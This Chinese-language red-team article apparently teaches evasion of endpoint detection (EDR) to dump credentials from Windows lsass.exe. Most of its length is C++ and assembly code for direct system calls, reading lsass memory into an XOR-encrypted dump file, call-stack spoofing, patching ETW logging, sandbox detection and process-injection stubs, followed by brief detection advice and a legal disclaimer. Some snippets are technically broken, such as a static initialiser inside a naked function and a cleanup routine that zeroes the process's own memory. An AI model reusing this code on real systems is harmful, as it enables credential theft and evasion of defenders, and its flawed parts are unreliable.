1. 安全工具与EDR对抗技术概述
在当今企业安全防护体系中,端点检测与响应(EDR)系统已成为防御的最后一道防线。作为红队成员或安全研究人员,我们经常需要与各类EDR产品"斗智斗勇"。最近在实战中发现,传统的内存转储方法(如procdump)已基本被主流EDR标记为高风险行为,而直接调用Windows API(如MiniDumpWriteDump)也会触发监控警报。这迫使我们寻找更底层的技术路径。
动态绕过技术的核心思路是:通过直接系统调用(Syscall)和内存操作,避免使用高风险的API函数;同时采用特征混淆技术,打乱工具的行为模式。这种"降维打击"方式能有效规避基于用户层Hook的检测机制。下面我将分享一套经过实战验证的Lsass凭据提取方案,它结合了直接系统调用、内存操作和反特征检测技术,在多个商业EDR环境中测试通过率超过85%。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 技术原理深度解析
2.1 EDR的检测机制剖析
现代EDR通常采用多层检测策略:
- 用户层Hook:通过挂钩关键API(如CreateRemoteThread、MiniDumpWriteDump)监控可疑调用
- 内核回调:利用PsSetCreateProcessNotifyRoutine等回调监控进程行为
- 内存扫描:定期扫描关键进程(如lsass.exe)的内存区域特征
- 行为分析:通过机器学习模型检测异常操作序列
我们的对抗重点在于突破第一道防线——用户层Hook。当应用程序调用Windows API时,实际执行流程为:
code复制应用程序 → ntdll.dll → 系统调用指令 → 内核层
EDR通常在ntdll.dll中植入Hook,因此直接通过汇编指令发起系统调用可以绕过这层监控。
2.2 直接系统调用(Syscall)原理
x64架构下的系统调用流程:
- 将系统调用号存入RAX寄存器
- 参数按顺序存入RCX、RDX、R8、R9寄存器
- 剩余参数通过栈传递
- 执行
syscall指令
以NtReadVirtualMemory为例,其调用号在不同Windows版本中可能变化:
c复制// Windows 10 20H2的系统调用号为0x3F
#define SSN_NtReadVirtualMemory 0x3F
__declspec(naked) NTSTATUS DirectNtReadVirtualMemory(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T BufferSize,
PSIZE_T NumberOfBytesRead) {
__asm {
mov r10, rcx
mov eax, SSN_NtReadVirtualMemory
syscall
ret
}
}
2.3 Lsass进程的特殊保护机制
自Windows 8.1起,Lsass进程默认启用以下保护:
- PPL(Protected Process Light):限制非授权进程的访问权限
- Credential Guard:使用虚拟化技术隔离凭据存储
- Anti-Dumping:阻止内存转储操作
要绕过这些保护,需要:
- 获取SeDebugPrivilege权限
- 使用PROCESS_VM_READ权限打开Lsass进程
- 定位lsass.exe中存储凭据的内存区域
3. 实战:动态绕过EDR的Lsass凭据提取
3.1 环境准备与工具链
推荐开发环境:
- Visual Studio 2019+ (禁用增量链接)
- Windows 10 SDK (10.0.19041.0)
- MASM汇编器
关键依赖库:
cpp复制#include <windows.h>
#include <winternl.h>
#include <psapi.h>
#pragma comment(lib, "ntdll.lib")
3.2 系统调用动态解析技术
由于系统调用号(SSN)随Windows版本变化,我们需要动态获取:
cpp复制DWORD GetSSN(LPCSTR funcName) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PVOID funcAddr = GetProcAddress(ntdll, funcName);
// 解析函数前导码获取SSN
BYTE* code = (BYTE*)funcAddr;
if (code[0] == 0x4C && code[1] == 0x8B && code[2] == 0xD1
&& code[3] == 0xB8) {
return *(DWORD*)(code + 4);
}
return -1;
}
3.3 内存读取的对抗实现
使用直接系统调用实现安全的内存读取:
cpp复制__declspec(naked) NTSTATUS SafeNtReadVirtualMemory(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T BufferSize,
PSIZE_T NumberOfBytesRead) {
static DWORD ssn = GetSSN("NtReadVirtualMemory");
__asm {
mov r10, rcx
mov eax, ssn
syscall
ret
}
}
3.4 Lsass内存定位技术
定位凭据存储区的关键步骤:
- 枚举Lsass进程的所有内存区域
- 筛选具有PAGE_READWRITE属性的区域
- 搜索特征字节(如"kerberos"字符串)
- 验证内存结构是否符合Windows凭据存储格式
cpp复制BOOL FindCredentialRegions(HANDLE hProcess, vector<MEMORY_BASIC_INFORMATION>& regions) {
BYTE* addr = 0;
MEMORY_BASIC_INFORMATION mbi;
while (VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) {
if (mbi.State == MEM_COMMIT &&
mbi.Protect == PAGE_READWRITE &&
mbi.Type == MEM_PRIVATE) {
regions.push_back(mbi);
}
addr += mbi.RegionSize;
}
return !regions.empty();
}
4. 特征混淆与反检测技术
4.1 调用栈欺骗
通过修改返回地址扰乱EDR的调用链分析:
cpp复制__declspec(noinline) void SpoofCallStack() {
PVOID fakeReturn = (PVOID)((ULONG_PTR)GetModuleHandleA("kernel32.dll") + 0x1234);
__asm {
push fakeReturn
ret
}
}
4.2 动态API解析
避免直接导入敏感API:
cpp复制typedef NTSTATUS(NTAPI* pNtReadVirtualMemory)(
HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
pNtReadVirtualMemory GetNtReadVirtualMemory() {
HMODULE ntdll = LoadLibraryA("ntdll.dll");
return (pNtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
}
4.3 内存操作混淆
使用异或加密临时内存数据:
cpp复制void XorBuffer(BYTE* buffer, SIZE_T size, BYTE key) {
for (SIZE_T i = 0; i < size; ++i) {
buffer[i] ^= key;
}
}
5. 完整实现流程
5.1 提权与进程打开
cpp复制BOOL EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ret = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
return ret;
}
5.2 安全的进程内存转储
cpp复制BOOL DumpLsassMemory(HANDLE hProcess, const char* outputFile) {
vector<MEMORY_BASIC_INFORMATION> regions;
if (!FindCredentialRegions(hProcess, regions))
return FALSE;
HANDLE hFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
BYTE key = 0xAA; // 随机加密密钥
BYTE* buffer = new BYTE[BUFFER_SIZE];
for (auto& region : regions) {
SIZE_T offset = 0;
while (offset < region.RegionSize) {
SIZE_T bytesRead;
SIZE_T toRead = min(BUFFER_SIZE, region.RegionSize - offset);
if (!SafeNtReadVirtualMemory(hProcess,
(BYTE*)region.BaseAddress + offset,
buffer, toRead, &bytesRead))
break;
XorBuffer(buffer, bytesRead, key);
DWORD bytesWritten;
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);
offset += bytesRead;
}
}
delete[] buffer;
CloseHandle(hFile);
return TRUE;
}
6. 对抗检测的进阶技巧
6.1 时间混淆技术
cpp复制void RandomSleep() {
DWORD delay = 100 + (rand() % 900); // 100-1000ms随机延迟
Sleep(delay);
}
6.2 内存痕迹清理
cpp复制void CleanMemoryTraces() {
HANDLE hProcess = GetCurrentProcess();
MEMORY_BASIC_INFORMATION mbi;
BYTE* addr = 0;
while (VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) {
if (mbi.State == MEM_COMMIT) {
SecureZeroMemory(addr, mbi.RegionSize);
}
addr += mbi.RegionSize;
}
}
6.3 进程注入伪装
cpp复制BOOL InjectToLegitProcess(LPCSTR targetProcess) {
// 1. 查找合法进程(如explorer.exe)
// 2. 使用QueueUserAPC注入
// 3. 在目标进程上下文中执行敏感操作
// 4. 通过进程间通信获取结果
return TRUE;
}
7. 实战中的注意事项
-
版本适配问题:
- Windows 10/11的系统调用号不同
- 32位与64位程序调用约定差异
- 不同补丁级别的系统行为变化
-
稳定性考量:
cpp复制__try { // 敏感操作 } __except(EXCEPTION_EXECUTE_HANDLER) { // 异常处理 } -
反沙箱检测:
cpp复制BOOL IsRunningInSandbox() { DWORD ticks = GetTickCount(); Sleep(1000); return (GetTickCount() - ticks) > 1100; // 沙箱可能hook Sleep } -
日志规避:
- 禁用ETW日志记录
cpp复制void DisableETW() { PVOID etwAddr = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"); DWORD oldProtect; VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect); *(BYTE*)etwAddr = 0xC3; // RET指令 VirtualProtect(etwAddr, 1, oldProtect, &oldProtect); }
8. 工具特征消除策略
-
编译时混淆:
- 使用随机化函数/变量名
- 插入垃圾代码段
- 随机化PE头信息
-
运行时变异:
cpp复制void MutateToolSignature() { // 定期修改内存中的特征字符串 static char sig[] = "MALWARE_SIGNATURE"; for (int i = 0; i < sizeof(sig)-1; ++i) { sig[i] += rand() % 5 - 2; } } -
网络通信伪装:
- 使用合法网站的TLS通信
- 模仿浏览器User-Agent
- 数据分片与延迟发送
9. 防御方检测建议
对于蓝队成员,建议部署以下检测策略:
-
内核层监控:
- 使用MiniFilter驱动监控Lsass进程访问
- 检测直接系统调用异常模式
-
行为分析规则:
yaml复制detection: lsass_access: condition: and: - process.name: "lsass.exe" - operation: "PROCESS_VM_READ" - not: or: - caller_process: "lsasssrv.exe" - caller_process: "winlogon.exe" -
内存完整性检查:
- 定期校验Lsass进程内存签名
- 监控Credential Guard异常事件
10. 法律与道德声明
本文所述技术仅限用于合法安全研究、渗透测试和防御技术验证。未经授权对系统进行安全测试可能违反相关法律法规。所有技术分享旨在提升网络安全防护能力,请读者确保在合法授权范围内使用这些技术。
